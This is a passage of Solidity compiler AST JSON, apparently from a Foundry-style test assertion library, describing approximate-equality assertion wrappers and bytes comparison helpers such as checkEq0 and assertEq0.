,"statements":[{"expression":{"arguments":[{"id":2356,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2342,"src":"19529:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2357,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2344,"src":"19535:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2358,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2346,"src":"19542:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2359,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2348,"src":"19559:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2360,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2350,"src":"19569:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2353,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"19501:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2355,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19504:24:1","memberName":"assertApproxEqRelDecimal","nodeType":"MemberAccess","referencedDeclaration":13587,"src":"19501:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,uint256,string memory) pure external"}},"id":2361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19501:72:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2362,"nodeType":"ExpressionStatement","src":"19501:72:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"19251:24:1","parameters":{"id":2351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2342,"mutability":"mutable","name":"left","nameLocation":"19293:4:1","nodeType":"VariableDeclaration","scope":2364,"src":"19285:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2341,"name":"uint256","nodeType":"ElementaryTypeName","src":"19285:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2344,"mutability":"mutable","name":"right","nameLocation":"19315:5:1","nodeType":"VariableDeclaration","scope":2364,"src":"19307:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2343,"name":"uint256","nodeType":"ElementaryTypeName","src":"19307:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2346,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"19338:15:1","nodeType":"VariableDeclaration","scope":2364,"src":"19330:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2345,"name":"uint256","nodeType":"ElementaryTypeName","src":"19330:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2348,"mutability":"mutable","name":"decimals","nameLocation":"19427:8:1","nodeType":"VariableDeclaration","scope":2364,"src":"19419:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2347,"name":"uint256","nodeType":"ElementaryTypeName","src":"19419:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2350,"mutability":"mutable","name":"err","nameLocation":"19459:3:1","nodeType":"VariableDeclaration","scope":2364,"src":"19445:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2349,"name":"string","nodeType":"ElementaryTypeName","src":"19445:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19275:193:1"},"returnParameters":{"id":2352,"nodeType":"ParameterList","parameters":[],"src":"19491:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2382,"nodeType":"FunctionDefinition","src":"19586:168:1","nodes":[],"body":{"id":2381,"nodeType":"Block","src":"19687:67:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2376,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2366,"src":"19718:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2377,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2368,"src":"19724:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2378,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2370,"src":"19731:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2373,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"19697:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2375,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19700:17:1","memberName":"assertApproxEqRel","nodeType":"MemberAccess","referencedDeclaration":13645,"src":"19697:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":2379,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19697:50:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2380,"nodeType":"ExpressionStatement","src":"19697:50:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"19595:17:1","parameters":{"id":2371,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2366,"mutability":"mutable","name":"left","nameLocation":"19620:4:1","nodeType":"VariableDeclaration","scope":2382,"src":"19613:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2365,"name":"int256","nodeType":"ElementaryTypeName","src":"19613:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2368,"mutability":"mutable","name":"right","nameLocation":"19633:5:1","nodeType":"VariableDeclaration","scope":2382,"src":"19626:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2367,"name":"int256","nodeType":"ElementaryTypeName","src":"19626:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2370,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"19648:15:1","nodeType":"VariableDeclaration","scope":2382,"src":"19640:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2369,"name":"uint256","nodeType":"ElementaryTypeName","src":"19640:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19612:52:1"},"returnParameters":{"id":2372,"nodeType":"ParameterList","parameters":[],"src":"19687:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2403,"nodeType":"FunctionDefinition","src":"19760:286:1","nodes":[],"body":{"id":2402,"nodeType":"Block","src":"19974:72:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2396,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2384,"src":"20005:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2397,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2386,"src":"20011:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2398,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2388,"src":"20018:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2399,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2390,"src":"20035:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2393,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"19984:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2395,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19987:17:1","memberName":"assertApproxEqRel","nodeType":"MemberAccess","referencedDeclaration":13657,"src":"19984:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":2400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19984:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2401,"nodeType":"ExpressionStatement","src":"19984:55:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"19769:17:1","parameters":{"id":2391,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2384,"mutability":"mutable","name":"left","nameLocation":"19803:4:1","nodeType":"VariableDeclaration","scope":2403,"src":"19796:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2383,"name":"int256","nodeType":"ElementaryTypeName","src":"19796:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2386,"mutability":"mutable","name":"right","nameLocation":"19824:5:1","nodeType":"VariableDeclaration","scope":2403,"src":"19817:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2385,"name":"int256","nodeType":"ElementaryTypeName","src":"19817:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2388,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"19847:15:1","nodeType":"VariableDeclaration","scope":2403,"src":"19839:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2387,"name":"uint256","nodeType":"ElementaryTypeName","src":"19839:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2390,"mutability":"mutable","name":"err","nameLocation":"19942:3:1","nodeType":"VariableDeclaration","scope":2403,"src":"19928:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2389,"name":"string","nodeType":"ElementaryTypeName","src":"19928:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19786:165:1"},"returnParameters":{"id":2392,"nodeType":"ParameterList","parameters":[],"src":"19974:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2424,"nodeType":"FunctionDefinition","src":"20052:304:1","nodes":[],"body":{"id":2423,"nodeType":"Block","src":"20272:84:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2417,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2405,"src":"20310:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2418,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2407,"src":"20316:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2419,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2409,"src":"20323:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2420,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2411,"src":"20340:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2414,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"20282:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2416,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20285:24:1","memberName":"assertApproxEqRelDecimal","nodeType":"MemberAccess","referencedDeclaration":13599,"src":"20282:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256,uint256) pure external"}},"id":2421,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20282:67:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2422,"nodeType":"ExpressionStatement","src":"20282:67:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"20061:24:1","parameters":{"id":2412,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2405,"mutability":"mutable","name":"left","nameLocation":"20102:4:1","nodeType":"VariableDeclaration","scope":2424,"src":"20095:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2404,"name":"int256","nodeType":"ElementaryTypeName","src":"20095:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2407,"mutability":"mutable","name":"right","nameLocation":"20123:5:1","nodeType":"VariableDeclaration","scope":2424,"src":"20116:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2406,"name":"int256","nodeType":"ElementaryTypeName","src":"20116:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2409,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"20146:15:1","nodeType":"VariableDeclaration","scope":2424,"src":"20138:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2408,"name":"uint256","nodeType":"ElementaryTypeName","src":"20138:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2411,"mutability":"mutable","name":"decimals","nameLocation":"20235:8:1","nodeType":"VariableDeclaration","scope":2424,"src":"20227:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2410,"name":"uint256","nodeType":"ElementaryTypeName","src":"20227:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"20085:164:1"},"returnParameters":{"id":2413,"nodeType":"ParameterList","parameters":[],"src":"20272:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2448,"nodeType":"FunctionDefinition","src":"20362:336:1","nodes":[],"body":{"id":2447,"nodeType":"Block","src":"20609:89:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2440,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2426,"src":"20647:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2441,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2428,"src":"20653:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2442,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2430,"src":"20660:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2443,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2432,"src":"20677:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2444,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2434,"src":"20687:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2437,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"20619:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20622:24:1","memberName":"assertApproxEqRelDecimal","nodeType":"MemberAccess","referencedDeclaration":13613,"src":"20619:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,uint256,string memory) pure external"}},"id":2445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20619:72:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2446,"nodeType":"ExpressionStatement","src":"20619:72:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"20371:24:1","parameters":{"id":2435,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2426,"mutability":"mutable","name":"left","nameLocation":"20412:4:1","nodeType":"VariableDeclaration","scope":2448,"src":"20405:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2425,"name":"int256","nodeType":"ElementaryTypeName","src":"20405:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2428,"mutability":"mutable","name":"right","nameLocation":"20433:5:1","nodeType":"VariableDeclaration","scope":2448,"src":"20426:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2427,"name":"int256","nodeType":"ElementaryTypeName","src":"20426:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2430,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"20456:15:1","nodeType":"VariableDeclaration","scope":2448,"src":"20448:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2429,"name":"uint256","nodeType":"ElementaryTypeName","src":"20448:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2432,"mutability":"mutable","name":"decimals","nameLocation":"20545:8:1","nodeType":"VariableDeclaration","scope":2448,"src":"20537:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2431,"name":"uint256","nodeType":"ElementaryTypeName","src":"20537:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2434,"mutability":"mutable","name":"err","nameLocation":"20577:3:1","nodeType":"VariableDeclaration","scope":2448,"src":"20563:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2433,"name":"string","nodeType":"ElementaryTypeName","src":"20563:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20395:191:1"},"returnParameters":{"id":2436,"nodeType":"ParameterList","parameters":[],"src":"20609:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2466,"nodeType":"FunctionDefinition","src":"20780:145:1","nodes":[],"body":{"id":2465,"nodeType":"Block","src":"20866:59:1","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":2463,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":2458,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2450,"src":"20893:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2457,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"20883:9:1","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":2459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20883:15:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":2461,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2452,"src":"20912:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2460,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"20902:9:1","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":2462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20902:16:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"20883:35:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":2456,"id":2464,"nodeType":"Return","src":"20876:42:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checkEq0","nameLocation":"20789:8:1","parameters":{"id":2453,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2450,"mutability":"mutable","name":"left","nameLocation":"20811:4:1","nodeType":"VariableDeclaration","scope":2466,"src":"20798:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2449,"name":"bytes","nodeType":"ElementaryTypeName","src":"20798:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2452,"mutability":"mutable","name":"right","nameLocation":"20830:5:1","nodeType":"VariableDeclaration","scope":2466,"src":"20817:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2451,"name":"bytes","nodeType":"ElementaryTypeName","src":"20817:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"20797:39:1"},"returnParameters":{"id":2456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2455,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":2466,"src":"20860:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2454,"name":"bool","nodeType":"ElementaryTypeName","src":"20860:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"20859:6:1"},"scope":2695,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":2479,"nodeType":"FunctionDefinition","src":"20931:118:1","nodes":[],"body":{"id":2478,"nodeType":"Block","src":"21011:38:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2474,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2468,"src":"21030:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2475,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2470,"src":"21036:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2473,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":649,"src":"21021:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory) pure"}},"id":2476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21021:21:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2477,"nodeType":"ExpressionStatement","src":"21021:21:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq0","nameLocation":"20940:9:1","parameters":{"id":2471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2468,"mutability":"mutable","name":"left","nameLocation":"20963:4:1","nodeType":"VariableDeclaration","scope":2479,"src":"20950:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2467,"name":"bytes","nodeType":"ElementaryTypeName","src":"20950:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2470,"mutability":"mutable","name":"right","nameLocation":"20982:5:1","nodeType":"VariableDeclaration","scope":2479,"src":"20969:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2469,"name":"bytes","nodeType":"ElementaryTypeName","src":"20969:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"20949:39:1"},"returnParameters":{"id":2472,"nodeType":"ParameterList","parameters":[],"src":"21011:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2495,"nodeType":"FunctionDefinition","src":"21055:142:1","nodes":[],"body":{"id":2494,"nodeType":"Block","src":"21154:43:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2489,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2481,"src":"21173:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2490,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2483,"src":"21179:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2491,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2485,"src":"21186:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 